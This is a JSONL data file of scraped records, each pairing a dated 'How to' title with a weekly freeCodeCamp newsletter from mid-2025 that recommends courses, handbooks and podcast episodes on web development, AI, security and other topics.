"2026-01-17T12:56:24.739611"}
{"id": "gh_612971f18e9a", "question": "How to: August 9, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive beginner course on modern Front End Development using React and Tailwind CSS. You can code along at home and build your own  React project. Along the way, you'll learn about component-based development, utility-first styling, state management, and more. By the end of the course, you’ll have foundational knowledge that you can use to build more of your app ideas. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-react-and-tailwind-css-for-front-end-development/\n\n2. Learn about Zero-Trust Architecture and how to implement it. “Trust no one, verify everything.” That's the approach that these authentication systems take to minimize risk of intrusion or attack. This security tutorial will teach you about Role-Based Access Control, JWT Token Management, Continuous Verification, and other approaches to architecting your apps. (50 minute read): https://www.freecodecamp.org/news/how-to-implement-zero-trust-authentication-in-your-web-apps/\n\n3. On this week's freeCodeCamp podcast I interview Dilip Krishnamoorthi. He's a senior software engineer who works at Sony building user interfaces for Playstation game consoles. We talk about how he dropped out of a traditional Indian university and used an inexpensive distance learning program to finish his engineering degree for about the cost of a Playstation 5. He also shares what it's like to work in Bengaluru – the Silicon Valley of Asia – and contrasts that with San Francisco where he now works. Dilip loves learning new tools and shares his thoughts on AI agents and tips for keeping up with the state of the art. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/senior-playstation-engineers-tips-for-learning-new-tools-and-getting-things-done-podcast-184/\n\n4. freeCodeCamp also published this handbook on how to leverage React and Next.js streaming functionality to turbo-charge your app loading speeds for your users. Instead of waiting for the server to send one big bundle of HTML, streaming lets you progressively send blocks as others finish rendering. This makes your app feel much smoother. If you're serious about performance and user experience, this is the handbook for you. (full length handbook): https://www.freecodecamp.org/news/the-nextjs-15-streaming-handbook/\n\n5. And if you want to go even deeper into React, freeCodeCamp also published this advanced handbook on Shared State Complexity. What happens when several different parts of your app need to access and update the same information at the same time? This handbook breaks down several approaches to addressing this fundamental problem. You'll learn about State Management, The Context API, Prop Drilling, and more. (full length handbook): https://www.freecodecamp.org/news/shared-state-complexity-in-react-handbook/\n\nQuote of the Week:\n*\"History has taught us: never underestimate the amount of money, time, and effort someone will expend to thwart a security system. It's always better to assume the worst. Assume your adversaries are better than they are. Assume science and technology will soon be able to do things they cannot yet. Give yourself a margin for error. Give yourself more security than you need today. When the unexpected happens, you'll be glad you did.\"* — Bruce Schneier, software engineer and security expert", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739622"}
{"id": "gh_20ced095804c", "question": "How to: August 2, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Don't be content merely knowing how algorithms work – understand WHY they work the way they do. freeCodeCamp just published this advanced Python course that will level up your computer science knowledge. CS Professor Qiang Hao will help you refine your algorithmic thinking and your intuition for translating abstract mathematics into working code. He touches on Sorting Algorithms, Divide-and-Conquer Algorithms, Amortized Analysis, the Master Theorem, and more. Put your thinking cap on and dive in. (6 hour YouTube course): https://www.freecodecamp.org/news/algorithm-analysis-deep-dive/\n\n2. Learn Object-Oriented Design Patterns using Java. This interactive course built by prolific freeCodeCamp contributor and computer science professor Dr. Mark Mahoney will teach you the Composite Pattern, the Observer Pattern, the Visitor Pattern, and more. (interactive course): https://www.freecodecamp.org/news/object-oriented-design-patterns-with-java/\n\n3. freeCodeCamp also published this comprehensive course on cloud-based AI engineering. AWS software engineer Suman Debnath will teach you all about LLM Embeddings, RAG, Multimodal Models, and LangChain-powered Agents. You'll build an end-to-end app that automates insurance claims: claim creation, document management, data retrieval, and more using a variety of AWS services including Bedrock. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-enterprise-ai-embeddings-rag-and-multimodal-agents-using-amazon-nova-and-bedrock/\n\n4. On this week's freeCodeCamp podcast I interview Nick Taylor, a Montreal-based software engineer and prolific open source contributor. He shares tips on getting started contributing to open source projects, and then converting that track record into job opportunities. He also talks about the changing nature of working in tech, and how he gets mileage out of both emerging AI tools and time-tested open source libraries. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-turn-open-source-into-a-job-with-nick-taylor-podcast-181/\n\n5. And if you're already working as a developer and are keen to climb the ladder at your organization, this is the article for you. freeCodeCamp contributor Shruti Kapoor wrote this detailed guide to progressing from Senior Engineer up to Staff Engineer. She shares her own journey upward at big tech companies. Then she breaks down the differences in engineering roles and the typical promotion process. She shares practical tips for evaluating your own readiness and building a portfolio of work that will impress your higher-ups. (25 minute read): https://www.freecodecamp.org/news/how-to-get-promoted-from-senior-to-staff-engineer-tips-from-my-experience/\n\nQuote of the Week: *“The real skill for working with AI is communication. If you can’t explain precisely what you want, the tool will churn out junk. Soft skills suddenly matter a lot.”* — Software Engineer Nick Taylor on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739633"}
{"id": "gh_97e3f5cb3ecf", "question": "How to: July 25, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new course that will teach you how to gracefully answer common LeetCode-style questions you'll get asked during developer job interviews. It covers essential data structures and algorithmic patterns. You'll build up your intuition so you can recognize which patterns to apply, and how to avoid brute force solutions. You'll start by learning fundamental data structures like Arrays, Sets, and Hashmaps. Then you'll bust out Python and learn about Big O Notation, before moving on to more advanced concepts like Sliding Windows, Binary Search, Backtracking, and Priority Queues. (1 hour YouTube course): https://www.freecodecamp.org/news/data-structure-and-algorithm-patterns-for-leetcode-interviews/\n\n2. And if you want to go much deeper into Python Machine Learning, this week we also published a comprehensive Computer Vision course. You'll use the open source PyTorch library to implement one of the most influential convolutional neural networks: Visual Geometry Group Networks (VGGNets). You'll learn the theoretical origins of VGGNets and the math that powers them. Then you'll fire up Colab and start implementing one for yourself. Whenever you're looking for courses on advanced topics like this, remember to use freeCodeCamp's search bar. We have thousands of tutorials, books, and full-length courses like this. (5 hour YouTube course): https://www.freecodecamp.org/news/implement-vgg-from-scratch-with-pytorch-deep-learning-theory/\n\n3. Want to get a developer job? Be shameless. That's the advice of this week's freeCodeCamp podcast guest, Namanh Kapur. He's a senior software engineer at LinkedIn and has a ton of hot takes on where the field is heading. He shares tips for how to interact with recruiters, which foundational developer skills he thinks you should prioritize learning, and how to get hired in what he calls the “post-LeetCode world.” (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/we-are-truly-in-the-hackathon-era-namanh-kapur-interview-podcast-180/\n\n4. Not every codebase is run by a team of developers. A lot of projects are built by a single person who's just iterating on their ideas and trying to find customers. That's where this week's Ultimate Tool Stack for Indie Hackers comes in. Manish breaks down a lot of Lean Startup Methodology and translates it into specific tools you can use to quickly build the first version of your products. He covers prototyping tools, payment gateway tools, analytics, and more. (10 minute read): https://www.freecodecamp.org/news/ultimate-tool-stack-for-indie-hackers/\n\n5. freeCodeCamp also published this quick guide for more experienced developers. It shares some practical tips for incorporating AI tools into your day-to-day programming workflows. Author Spruce Emmanuel doesn't pull any punches or sugar-coat any of his observations about the utility of these tools or the future of manually writing most code. (12 minute read): https://www.freecodecamp.org/news/how-to-use-ai-effectively-in-your-dev-projects/\n\nQuote of the Week: *“Let's get one thing straight: AI is here to help, not to replace. Your job, my job, was never just to write code. Writing code was always just a part of it. Our real job is to build software solutions that work.”* — Spruce Emmanuel, developer and prolific freeCodeCamp contributor, in his article on incorporating AI tools into your software development workflows", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739645"}
{"id": "gh_aafb93b12031", "question": "How to: July 18, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive guide to AI app security and the most common vulnerabilities. You'll learn about Threat Modeling, Prompt Injection, Data Poisoning, supply chain risks, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-how-to-build-security-into-ai/\n\n2. JavaScript is the most popular language on the planet. But it's also super duper prone to errors. Luckily, freeCodeCamp just dropped this comprehensive handbook to help you understand how JavaScript's error handling works. You'll learn about Try-Catch, Error Rethrowing, the Finally keyword, and the Error Object itself. We also show tons of example code that you can scrutinize and learn from. (full-length handbook): https://www.freecodecamp.org/news/the-javascript-error-handling-handbook/\n\n3. On this week's podcast, I interview a developer who had to apply to 800 jobs, but eventually landed one. Braydon Coyer started out building mobile apps in high school. At one point his iPhone game even out-sold Angry Birds for a day or two. He shares tons of strategies for applying for developer roles, sane ways to integrate AI into your developer workflows, and how to switch from mobile app dev to full stack dev. This dude is a blast. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/799-rejections-but-he-got-the-job-braydon-coyer-developer-interview-podcast-179/\n\n4. I'm a huge fan of data visualization, and I love me some D3.js. So I was jazzed about this new course that'll help you shore up your Data Viz fundamentals. You'll go from bare-bones scatter plots to dynamically updating charts with fancy animations. If you want to learn how to make your data more accessible and more fun, this course is for you. (90 minute YouTube course): https://www.freecodecamp.org/news/learn-interactive-data-visualization-with-svelte-and-d3/\n\n5. As you may know, freeCodeCamp is a big open source project. And we have tons of developers who jump in to help us improve our curriculum and our codebase. But it's common for many of them to lose steam and drop off the map. This guide will help ensure that this doesn't happen to you. It'll give you actionable tips for setting open source goals, finding the right projects to get involved in, engaging with fellow devs, and more. (15 minute read): https://www.freecodecamp.org/news/how-to-build-a-sustainable-open-source-contribution-routine/\n\nQuote of the Week: *\"When I was learning to code, the big picture didn’t click until I needed to solve real problems. That’s when variables and arrays started making sense — not in theory, but in practice.\"* — Software Engineer Braydon Coyer on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739655"}
{"id": "gh_454979a606ca", "question": "How to: July 11, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published this comprehensive course that will teach you how to build apps using the LAMP Stack – Linux, Apache, MySQL, PHP. This is a classic toolchain that a huge number of websites still use to this day. You can code along at home and build your own clone of Google Calendar – complete with multi-appointment support and booking conflict logic. Then you'll use JavaScript to add a dynamic user interface. This project will help you expand your horizons and get in some serious reps. (3 hour YouTube course): https://www.freecodecamp.org/news/build-a-google-calendar-clone-with-php-mysql-and-javascript/\n\n2. You may have heard the term “vibe coding”, where you write the specifications for your app, then hand it over to code generation agents who write the code for you. This approach has been a bit polarizing in the developer community, with vocal critics and vocal advocates. My advice is don't listen to any of them. Think for yourself. freeCodeCamp just published this course that will introduce you to vibe coding tools like n8n – an open source workflow automation tool – so you can wire together APIs and services without needing to write a ton of code manually. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-vibe-code-with-help-from-n8n/\n\n3. On this week's podcast I interview Joe Hill. He's a software engineer who works on a data platform for NASA. Joe taught himself programming for 4 years while working as a janitor. As the single father of two Autistic boys, he first used his programming skills to build an iPad app to help them learn how to talk. He shares tons of practical tips for learning new skills and for getting things done inside big orgs. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-freecodecamp-to-nasa-with-data-engineer-joe-hill-podcast-178/\n\n4. Learn how to write Python tests so you can make your codebase more robust. This tutorial will teach you the basics of pytest and show you tons of examples. You'll learn about Markers, Fixtures, Parameterization, and more. (20 minute read): https://www.freecodecamp.org/news/how-to-use-pytest-a-guide-to-testing-in-python/\n\n5. Tell your gardener friends: freeCodeCamp just published a tutorial on how to monitor the moisture of your soil using an Arduino microcontroller. This tutorial will show you what hardware to get and how to wire it up. Then it'll walk you through the code you'll run, and explain how everything works. (30 minute read): https://www.freecodecamp.org/news/how-to-use-a-resistive-soil-moisture-sensor/\n\nQuote of the Week: *\"Becoming tool agnostic is one of the biggest strengths you will ever have as a programmer. If you walk into a place and they say \"we use XYZ\", you can go “Great. I'll learn it.\" That is so powerful.\"* — Software Engineer Joe Hill on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739666"}
{"id": "gh_5eb48f5c0b6c", "question": "How to: July 6, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. We just published a full-length interactive book by computer science professor and freeCodeCamp contributor Dr. Mark Mahoney. It will teach you the foundations of both back end and front end web development. You'll learn some Node, Express, SQLite, GraphQL, Web Components, React, and more. Mark even built his own open source “code playback” system to walk you through the book's code step-by-step with detailed explanations. Pretty cool. (full interactive book): https://www.freecodecamp.org/news/an-animated-introduction-to-web-development-from-back-to-front/\n\n2. freeCodeCamp also published a comprehensive guide to the Google Cloud Cybersecurity Certificate exam. You'll learn the basics of being a Cloud Security Analyst such as System Safeguarding, Risk Management, and Threat Analysis. (10 hour YouTube course): https://www.freecodecamp.org/news/beginners-guide-to-cloud-cybersecurity/\n\n3. On this week's freeCodeCamp podcast, I interview Back End engineer Tai Groot about Go, TypeScript, and Rust. We dive into the Developer Experience VS Performance tradeoffs of each of these programming languages. One piece of advice Tai shares: Rust is a superb language for rewriting an older codebase... but never use it to write your first version of something new. He also shares tips for running open source projects, and for senior engineers who want to mentor new devs who are entering the field. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/rust-vs-go-vs-typescript-which-back-end-language-is-for-you-with-tai-groot-podcast-176/\n\n4. The freeCodeCamp community uses Flutter to build our Android and iOS apps. It's a great way to maintain several apps with a single codebase. And one of the most important features developers get out of a mobile app is Local Notifications. This comprehensive tutorial will show you how to use the open source Awesome Notifications library to share updates with your users and remind them of time-sensitive events in your app. (40 minute read): https://www.freecodecamp.org/news/how-to-use-local-notifications-in-flutter/\n\n5. Finally, did you know that JavaScript is now one of the most popular languages for writing games? You can build some pretty sophisticated experiences that run right in a browser. This guide will walk you through five powerful JS libraries you can use to simplify your game development workflow and get your game in front of players as quickly as possible. (full-length handbook): https://www.freecodecamp.org/news/javascript-frameworks-for-game-developers/\n\nQuote of the Week: *\"Running an open source project taught me more about software design and communication than any job I’ve had. You have to think about every decision from the perspective of a stranger reading your code.\"* — Software Engineer Tai Groot on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739676"}
{"id": "gh_ee0a7c1fb185", "question": "How to: June 29, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new handbook on how to build your own custom Model Context Protocol (MCP) server. The entire MCP paradigm was just invented 7 months ago, so let me explain how it works. Before MCP, you needed to write custom connector code for each data source your LLM used – such as calendars, map APIs, and sensor data streams. Sure – tools like LangChain helped with this. But MCP makes things so much simpler. You just lay out how your data is structured. That way when an LLM connects, it can figure out how to get whatever data it needs all on its own. This MCP approach is an excellent complement to the Retrieval Augmented Generation technique developers were using last year. (full-length handbook): https://www.freecodecamp.org/news/how-to-build-a-custom-mcp-server-with-typescript-a-handbook-for-developers/\n\n2. Many of the recent breakthroughs in AI tools have been thanks to the Transformer Architecture pioneered at Google. This course will teach you how Transformers work, and how they're evolving. You'll learn about Attention Mechanisms, Positional Encoding, Activation Functions, and Normalization. Transformers! More than meets the eye! (3 hour YouTube course): https://www.freecodecamp.org/news/learn-the-evolution-of-the-transformer-architecture-used-in-llms/\n\n3. On this week's freeCodeCamp podcast I interview Kelly Vaughn. She's a software engineer who went from building apps for freelance clients to running her own full-blown developer agency. She shares tips for scaling up your business in your community and not burning yourself out in the process. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-therapist-to-six-figure-freelance-dev-podcast-176/\n\n4. Learn how to build your own embedded systems – from smart fridges to home security systems. freeCodeCamp just published a comprehensive handbook that will teach you Firmware Design from the ground up. You'll learn about the Sense-Process-Act cycle that governs the behavior of most devices. Then you'll learn about low-level system design and modern best practices. (full-length handbook): https://www.freecodecamp.org/news/learn-embedded-systems-firmware-basics-handbook-for-devs/\n\n5. Finally, freeCodeCamp also published our first-ever course on the German language. Learn how to speak the native language of more than 100 million Europeans with this A1-level course for absolute beginners. You'll learn grammar, pronunciation, vocabulary, and a ton of common phrases you can use while traveling. (12 hour YouTube course): https://www.freecodecamp.org/news/learn-to-speak-german/\n\nQuote of the Week: *\"There’s a difference between freelancing and running an agency. Freelancing is a hustle. Running an agency is about systems, people, and risk.\"* — Software Engineer Kelly Vaughn on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739687"}
{"id": "gh_5d3c5c6bded2", "question": "How to: June 21, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. The freeCodeCamp community just released three new sections of our Certified Full Stack Developer curriculum: React Hooks and State, Testing, and Performance. These include dozens of lectures, workshops, and interactive labs. As you progress through the coursework, you'll build your own fully playable Tic Tac Toe game, color picker, and more. We'll continue to publish the remaining modules throughout 2025. If you start the curriculum now, you can be one of the first people to earn the cert when we add the final exam and capstone project in early 2026. (fully interactive curriculum): https://www.freecodecamp.org/news/learn-react-in-your-browser-freecodecamp-full-stack-curriculum-mid-2025-update/\n\n2. freeCodeCamp also published this comprehensive course that will help you earn the Google Cloud Data Analytics certificate. You'll learn about SQL, BigQuery, data visualization, data lakehouse architecture, and more. (10 hour YouTube course): https://www.freecodecamp.org/news/beginners-guide-to-cloud-data-analytics/\n\n3. Logic and reason underpin all of software development. And this freeCodeCamp handbook will teach you how to think critically when testing your code. You'll learn how to use Modus Ponens, Modus Tollens, Contrapositives, Truth Tables, and other philosophical tools to map out all the places where your software can go off the rails. (full-length handbook): https://www.freecodecamp.org/news/the-logic-philosophy-and-science-of-software-testing-handbook-for-developers/\n\n4. Learn the fundamentals of data communication and networking in this new freeCodeCamp handbook. You'll learn about routing, switching, Network Topologies, the seven layers of the OSI Model, and more. (full-length handbook): https://www.freecodecamp.org/news/the-data-communication-and-networking-handbook/\n\n5. Finally, you may practice good operational security on your laptop. But what about your phone? This quick article will give you some practical tips for locking down your phone. (7 minute read): https://www.freecodecamp.org/news/how-to-improve-your-phones-privacy/\n\nQuote of the Week: *\"A top coder sees a program graphically. A data structure as a hierarchy of relationships, a program as a network of data pipes. The first and only time they reduce pictures to words is when they write code.\"* — Robert Wagner, Programmer and Computer Science professor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739696"}
{"id": "gh_8c4c57bd897f", "question": "How to: June 14, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to build your own full-stack JavaScript apps. freeCodeCamp just published a comprehensive course on the popular MERN Stack. MERN stands for MongoDB, Express.js, React, and Node.js. These are the key tools that a lot of modern web apps use, including freeCodeCamp's platform itself. You'll learn how to build your user interface, handle data routing, and even rate-limit your back end API – so you can stop your app from getting overwhelmed by all those bots out there that are scraping the web for LLM training data. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-the-mern-stack-in-2025/\n\n2. Learn MLOps by building your own system that can run sentiment analysis on YouTube videos. The emerging field of ML Ops is a hybrid of Machine Learning and System Administration (AKA Ops). This comprehensive course will give you a solid project-oriented intro to MLOps. You'll learn about Data Preprocessing, AI Model Benchmarking, Hyperparameter Tuning, Ensemble Techniques and more. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-mlops-by-creating-a-youtube-sentiment-analyzer/\n\n3. On this week's freeCodeCamp podcast, I interview former CTO and prolific programming teacher Hitesh Choudhary. He shares lessons he's learned from personally mentoring dozens of software engineers over the years. He also talks about India's higher education system. And he gives tons of tips for managing your time as a developer. I had a blast learning from Hitesh and I think you will, too. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-electrical-engineering-student-to-cto-with-hitesh-choudhary-podcast-175/\n\n4. freeCodeCamp published a new handbook on the emerging architecture paradigm of Micro Frontends. You'll learn why this approach is gaining so much steam among software engineers. This handbook will teach you all about Module Federation, Cross-Window Messaging, the Shadow DOM, and more. (full-length handbook): https://www.freecodecamp.org/news/complete-micro-frontends-guide/\n\n5. And we published a handbook on Apple's code signing process. If you want to publish mobile apps in the Apple store, this handbook is a real lifesaver. It would have saved freeCodeCamp's team a ton of time when we were publishing the freeCodeCamp iOS app. We're going to publish a lot more hyper-specific handbooks like this in the future to make developers' lives a bit easier. Bookmark this and you can come back to it when you're ready to publish your first app. (full-length handbook): https://www.freecodecamp.org/news/apple-code-signing-handbook/\n\nQuote of the Week: *\"You will not get opportunities unless you prove yourself first. And for proving yourself, there is no hiring manager coming to your door and saying, ‘Hey, please build something for me.’ You have to prove it by contributing to open source.\"* — Software Engineer and programming teacher Hitesh Choudhary, on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739707"}
{"id": "gh_c072662701a2", "question": "How to: June 7, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published our first-ever chemistry course. Over the years we've published hundreds of courses on math and computer science, and we're gradually adding other academic subjects as well. This is an excellent starting point for beginners, and a great refresher for folks who want to get back into learning chemistry. Chad, the instructor, has taught chemistry for more than 15 years. He'll teach you the absolute basics of matter, chemical bonding, and scientific notation. Then you'll dive into more intermediate topics like thermodynamics, kinetics, and electrochemistry. (35 hour YouTube course): https://www.freecodecamp.org/news/general-chemistry-college-course/\n\n2. Learn low-level game development by building your own Candy Crush-style match-3 video game using the C programming language. That's right – instead of using a powerful game engine like Unreal or Unity 3D, you're going to use some of the most fundamental tools imaginable. You'll implement the core game logic, detect player input, and even add bursts of animation using the Raylib graphics library. This is a fun way to spend an afternoon while getting reps with the world's most widely run language. (1 hour YouTube course): https://www.freecodecamp.org/news/c-game-development-with-raylib/\n\n3. On this week's podcast, I interview software engineer and O'reilly programming book author Joe Attardi about the many changes he's seen during his 21 years in industry. He talks about how AI tools are changing development, and how he thinks devs with a strong foundation in computer science are best positioned to fully leverage these tools. Joe's one chill, humble dude. I had a blast learning from him. And I think you will, too. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-survive-in-tech-when-everythings-changing-w-21-year-veteran-dev-joe-attardi-podcast-174/\n\n4. freeCodeCamp published a couple handbooks this week, too. This first one will teach you how to build your own AI agents using open source tools like LangChain and LangGraph. You'll learn about automation workflows, agent loops, multi-agent collaboration, and more. (full-length handbook): https://www.freecodecamp.org/news/the-open-source-llm-agent-handbook/\n\n5. And this second handbook will take you on a deep dive into the world of Front End Monitoring. You'll learn how to collect performance data, error data, user behavior data, then make sense of these insights through modern reporting tools. If you're serious about leveling up your full stack development skills, I think you'll find this to be well worth reading. (full-length handbook): https://www.freecodecamp.org/news/the-front-end-monitoring-handbook/\n\nQuote of the Week: *\"Computer Science fundamentals are more important than ever. As a software engineer, I want to understand things. I don’t like just taking stuff at face value. I want to know why it works and what’s going on behind the scenes.\"* —  21-year industry veteran Joe Attardi on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739718"}
{"id": "gh_d3b6a3d02ddb", "question": "How to: May 30, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a full course to help you learn Python for Data Science. This beginner's course covers popular Python libraries like Pandas, NumPy, and scikit-learn. First you'll learn how to configure your development environment. Then you'll dive in and practice key skills like Data Extraction, Dataframe Concatenation, Data Visualization, and even some basic Machine Learning. (17 hour YouTube course): https://www.freecodecamp.org/news/learn-python-for-data-science-full-course\n\n2. freeCodeCamp also published a full-length handbook that you can read right in your browser on the emerging field of Agentic AI Systems. Agents can go out and attempt tasks in the real world for you. Think of a shopping agent that knows your shoe size and preferences, and tries to find you the best deal on bowling shoes. You'll also learn how these systems use planning and goal setting rather than predefined actions. You can code along at home with the handbook and by the end of it, you'll have your own simple Python and LangChain-powered agent. (full-length handbook): https://www.freecodecamp.org/news/the-agentic-ai-handbook/\n\n3. On this week's podcast I interview a senior dev who was just laid off last week at Microsoft, and he walks us through everything. He has nerves of steel and seems totally unfazed by his coming job search. He talks about the role that both long-term planning and daily trail running have played in giving him resilience. It's clear to me that he's taken the time to prepare himself and his family for just about anything. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/laid-off-but-not-afraid-with-x-senior-microsoft-dev-mackevin-fey-podcast-173/\n\n4. If you're traveling this summer, you might benefit from reading this guide on how attackers most commonly use technology to exploit travelers. You'll learn how to defend yourself against fake wi-fi networks, phony travel sites, shady SIM card vendors, ATM skimming, and more. (10 minute read): https://www.freecodecamp.org/news/how-attackers-target-travelers-and-how-to-defend-yourself/\n\n5. Learn how to run an inexpensive Raspberry Pi computer in “Headless Mode”. Instead of functioning like a traditional computer with a keyboard, mouse, and screen, you can set up your Pi to perform tasks in the background, then access it remotely through a network protocol like Secure Shell (SSH). This way you can have a dedicated home automation server or a surveillance system. This tutorial will walk you through everything you need to know to get your headless server online. (20 minute read): https://www.freecodecamp.org/news/how-to-use-your-raspberry-pi-headlessly-with-vs-code-and-ssh/\n\nQuote of the Week: *\"One of the things I love about computers is there are so many different rungs on the ladder of abstraction. And each layer has its own interesting challenges. When I moved from Intel to Microsoft, I went from very low-level hardware-adjacent development to cloud development at internet scale. But everything I had learned earlier helped me ramp up quickly at that higher level of abstraction.\"* —  MacKevin Fey on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739730"}
{"id": "gh_18aa9ff7de92", "question": "How to: May 23, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a course on building AI agents using the open source LangChain LangGraph Python framework. This course will teach you fundamental Agentic AI concepts like Elements, Type Annotations, and Retrieval Augmented Generation. You can code along at home, and by the end of the course you'll have built 5 different agents you can show to your friends. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-langgraph-and-build-conversational-ai-with-python/\n\n2. freeCodeCamp also published this comprehensive guide to Relational Database Management Systems. You'll learn key database architecture concepts and how to diagram them. You'll also learn about Relational Algebra, Data Normalization, Schema Design, SQL Queries, and more. (9 hour YouTube course): https://www.freecodecamp.org/news/master-database-management-systems/\n\n3. On this week's freeCodeCamp podcast, I interview a developer from Iraq about her journey into tech. She has managed to build out her professional reputation through live-streaming herself participating in online coding and data science competitions. She shares tips for making friends with other developers – even when you're living far away from tech hubs like Silicon Valley. (90 minute watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-make-developer-friends-when-you-dont-live-in-silicon-valley-with-iraqi-engineer-codelife-podcast-172/\n\n4. Learn what JavaScript Linting is and how it helps you write better code. This tutorial will also teach you about Abstract Syntax Trees and why they're so useful for representing code. (20 minute read): https://www.freecodecamp.org/news/how-javascript-lint-rules-work-and-why-abstract-syntax-trees-matter/\n\n5. I'm thrilled to announce that freeCodeCamp just published our first-ever course on a world language. This full-length Spanish for Beginners course will teach you basic grammar and vocabulary so you can speak at a CEFR A1 Level. The instructor has more than 17 years of experience teaching Spanish to beginners. ¡Vámonos! (9 hour YouTube course): https://www.freecodecamp.org/news/learn-a1-level-spanish/\n\nQuote of the Week: *\"I had never coded before I started my Computer Science degree. I felt behind compared to my peers. But I started searching online. I found freeCodeCamp. Just being able to write code in the browser and see the output – that was what made coding feel practical and doable.\"* — Iraqi Software Engineer Code;Life on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739740"}
